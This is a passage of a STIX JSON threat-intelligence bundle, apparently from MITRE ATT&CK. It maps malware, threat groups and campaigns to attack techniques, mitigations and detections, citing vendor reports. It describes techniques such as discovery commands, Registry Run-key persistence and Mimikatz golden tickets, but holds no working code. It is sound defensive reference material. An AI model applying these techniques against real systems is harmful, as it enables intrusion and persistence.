2018)(Citation: Red Canary Emotet Feb 2019)(Citation: Carbon Black Emotet Apr 2019)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b46066e-4e23-4391-833a-651ea1e0982d","type":"relationship","created":"2020-06-10T18:20:44.115Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.388Z","description":"[BBK](https://attack.mitre.org/software/S0470) has the ability to use [cmd](https://attack.mitre.org/software/S0106) to run a Portable Executable (PE) on the compromised host.(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"malware--f0fc920e-57a3-4af5-89be-9ea594c8b1ea","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b4af425-27a6-4330-85e2-d8d03911d923","type":"relationship","created":"2020-05-12T22:05:50.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-12T22:05:50.745Z","description":"[Mofang](https://attack.mitre.org/groups/G0103) delivered spearphishing emails with malicious documents, PDFs, or Excel files attached.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"intrusion-set--88489675-d216-4884-a98f-49a89fcc1643","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b4b7094-25fc-4556-8706-191d1ca04610","type":"relationship","created":"2021-08-31T21:30:39.251Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-10-12T21:06:28.502Z","description":"[Cuba](https://attack.mitre.org/software/S0625) can retrieve the ARP cache from the local system by using GetIpNetTable.(Citation: McAfee Cuba April 2021) ","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b4b8d0b-fbc3-469a-ab62-72c5c4c4653d","type":"relationship","created":"2020-05-05T19:37:33.740Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"QiAnXin APT-C-36 Feb2019","url":"https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/","description":"QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}],"modified":"2020-10-14T14:40:36.476Z","description":"[APT-C-36](https://attack.mitre.org/groups/G0099) has used ConfuserEx to obfuscate its variant of [Imminent Monitor](https://attack.mitre.org/software/S0434), compressed payload and RAT packages, and password protected encrypted email attachments to avoid detection.(Citation: QiAnXin APT-C-36 Feb2019)","relationship_type":"uses","source_ref":"intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b4e1a93-99ca-444d-bfc4-bc589a9a25a9","created":"2020-06-19T19:08:40.378Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Valak June 2020","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i"},{"source_name":"Cybereason Valak May 2020","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:35:19.729Z","description":"[Valak](https://attack.mitre.org/software/S0476) can determine the Windows version and computer name on a compromised host.(Citation: Cybereason Valak May 2020)(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b4ee7bc-3a27-4142-a9bd-f65787193e8b","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Resurfaces Feb 2018","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-14T13:36:29.920Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware has maintained persistence on a system by creating a LNK shortcut in the user’s Startup folder.(Citation: McAfee Lazarus Resurfaces Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b510a6f-3e11-49b3-bf97-a1ca24bca663","type":"relationship","created":"2020-08-24T14:27:37.560Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-08-24T14:27:37.560Z","description":"The [PipeMon](https://attack.mitre.org/software/S0501) communication module can use a custom protocol based on TLS over TCP.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b5178ce-a9bc-405e-b062-22b4276fbf99","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Invoke-Obfuscation","description":"Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.","url":"https://github.com/danielbohannon/Invoke-Obfuscation"},{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:20:42.687Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) was likely obfuscated using `Invoke-Obfuscation`.(Citation: Unit 42 QUADAGENT July 2018)(Citation: GitHub Invoke-Obfuscation)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b529102-f95c-4ca1-a5c4-5a3497ab3674","type":"relationship","created":"2017-05-31T21:33:27.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"}],"modified":"2021-11-01T21:12:14.621Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) performs service discovery using net start commands.(Citation: Mandiant Operation Ke3chang November 2014)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b553858-ffee-4817-9033-b9ea06f71d43","created":"2022-09-21T15:16:53.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-10T16:21:35.704Z","description":"During [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors used [ipconfig](https://attack.mitre.org/software/S0100) for discovery on remote systems.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b59aa8f-d9d6-4bb5-b2ca-6fc1d36c1550","type":"relationship","created":"2020-12-17T19:40:29.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Cicada November 2020","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."}],"modified":"2020-12-29T16:51:25.615Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has used native APIs including GetModuleFileName, lstrcat, CreateFile, and ReadFile.(Citation: Symantec Cicada November 2020)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b5bc34e-73b1-4f08-bef2-4e1307232f6d","type":"relationship","created":"2021-08-16T21:28:32.235Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-09-20T17:42:18.933Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office applications from creating child processes and from writing potentially malicious executable content to disk. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b641542-852b-47c0-a604-f13998adb892","type":"relationship","created":"2020-02-19T20:36:33.642Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?p=1729","description":"Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.","source_name":"ADSecurity Mimikatz DCSync"},{"url":"https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr","description":"Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.","source_name":"Microsoft Replication ACL"}],"modified":"2021-04-22T20:20:14.983Z","description":"Manage the access control list for \"Replicating Directory Changes\" and other permissions associated with domain controller replication.(Citation: ADSecurity Mimikatz DCSync)(Citation: Microsoft Replication ACL)","relationship_type":"mitigates","source_ref":"course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462","target_ref":"attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b6a48c0-9bcc-47d2-976a-e7dbaa00f4bc","type":"relationship","created":"2020-10-19T16:48:08.513Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - TACACS","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#39","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - TACACS. Retrieved October 19, 2020."}],"modified":"2020-10-21T01:45:59.129Z","description":"Use multi-factor authentication for user and privileged accounts. Most embedded network devices support TACACS+ and/or RADIUS. Follow vendor prescribed best practices for hardening access control. (Citation: Cisco IOS Software Integrity Assurance - TACACS)","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b6c1b21-67e7-4930-82e3-8b13d8aac0ce","created":"2021-02-22T16:46:22.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trend Micro Waterbear December 2019","description":"Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021.","url":"https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T22:14:41.711Z","description":"[Waterbear](https://attack.mitre.org/software/S0579) has used RC4 encrypted shellcode and encrypted functions.(Citation: Trend Micro Waterbear December 2019)","relationship_type":"uses","source_ref":"malware--f3f1fbed-7e29-49cb-8579-4a378f858deb","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b6eac00-8a13-42e3-b533-a40314eada68","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/","description":"Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda – A potential new malicious tool. Retrieved June 25, 2018.","source_name":"Nccgroup Emissary Panda May 2018"}],"modified":"2021-03-29T19:43:26.734Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used the net view command.(Citation: Nccgroup Emissary Panda May 2018)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b6fce79-ae35-4a32-8463-63aa9dba97d6","created":"2022-10-18T21:00:00.036Z","revoked":false,"external_references":[{"source_name":"Hiding Malicious Code with Module Stomping","description":"Aliz Hammond. (2019, August 15). Hiding Malicious Code with \"Module Stomping\": Part 1. Retrieved July 14, 2022.","url":"https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T21:00:00.036Z","description":"Monitor for process memory inconsistencies, such as checking memory ranges against a known copy of the legitimate module.(Citation: Hiding Malicious Code with Module Stomping)","relationship_type":"detects","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b7410ad-f09f-49e1-8077-9ffac9d77fcc","type":"relationship","created":"2020-12-28T19:02:09.181Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html","source_name":"FireEye FIN6 Apr 2019"}],"modified":"2020-12-28T19:02:09.181Z","description":"(Citation: FireEye FIN6 Apr 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"tool--f59508a6-3615-47c3-b493-6676e1a39a87","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b7ea5f4-c504-49c6-ae43-12431191d54f","type":"relationship","created":"2019-09-27T13:27:07.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fysbis Dr Web Analysis","description":"Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.","url":"https://vms.drweb.com/virus/?i=4276269"}],"modified":"2019-09-27T13:27:07.014Z","description":"[Fysbis](https://attack.mitre.org/software/S0410) has the ability to delete files.(Citation: Fysbis Dr Web Analysis)","relationship_type":"uses","source_ref":"malware--50d6688b-0985-4f3d-8cbe-0c796b30703b","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b817a81-02a9-48f0-8166-9e25b6860a76","type":"relationship","created":"2020-10-15T20:57:52.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"}],"modified":"2020-10-22T18:35:55.876Z","description":"[APT1](https://attack.mitre.org/groups/G0006) used publicly available malware for privilege escalation.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b8254f2-bfbb-4775-aaf8-3b5fa3457ee9","type":"relationship","created":"2020-03-17T17:37:09.217Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub Mimikatz kerberos Module","url":"https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos","description":"Deply, B., Le Toux, V.. (2016, June 5). module ~ kerberos. Retrieved March 17, 2020."},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.078Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002)'s kerberos module can create golden tickets.(Citation: GitHub Mimikatz kerberos Module)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b82ddb8-6a3a-4f0a-b463-7b20a9199647","created":"2024-09-19T14:30:39.842Z","revoked":false,"external_references":[{"source_name":"FireEye Poison Ivy","description":"FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-poison-ivy.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:30:39.842Z","description":"[PoisonIvy](https://attack.mitre.org/software/S0012) creates a mutex using either a custom or default value.(Citation: FireEye Poison Ivy)","relationship_type":"uses","source_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","target_ref":"attack-pattern--49fca0d2-685d-41eb-8bd4-05451cc3a742","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7b88429e-9024-442f-a40c-d9ea5d0320e1","created":"2023-02-16T18:55:24.499Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T22:46:57.436Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can download a keylogging module.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7b89b499-2fc7-43cd-990f-297bdd15d2f3","created":"2022-07-11T20:32:11.822Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. ","modified":"2022-07-11T20:32:11.822Z","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--438c967d-3996-4870-bfc2-3954752a1927","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b8c29ce-dda2-4608-a28f-40aca495048f","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-03-29T19:54:46.144Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) backdoor RoyalDNS established persistence through adding a service called Nwsapagent.(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b909310-43e8-4870-ab62-d6078f27a785","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Bisonal July 2018","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-26T21:51:21.844Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) has added itself to the Registry key HKEY_CURRENT_USER\\Software\\Microsoft\\CurrentVersion\\Run\\ for persistence.(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020) 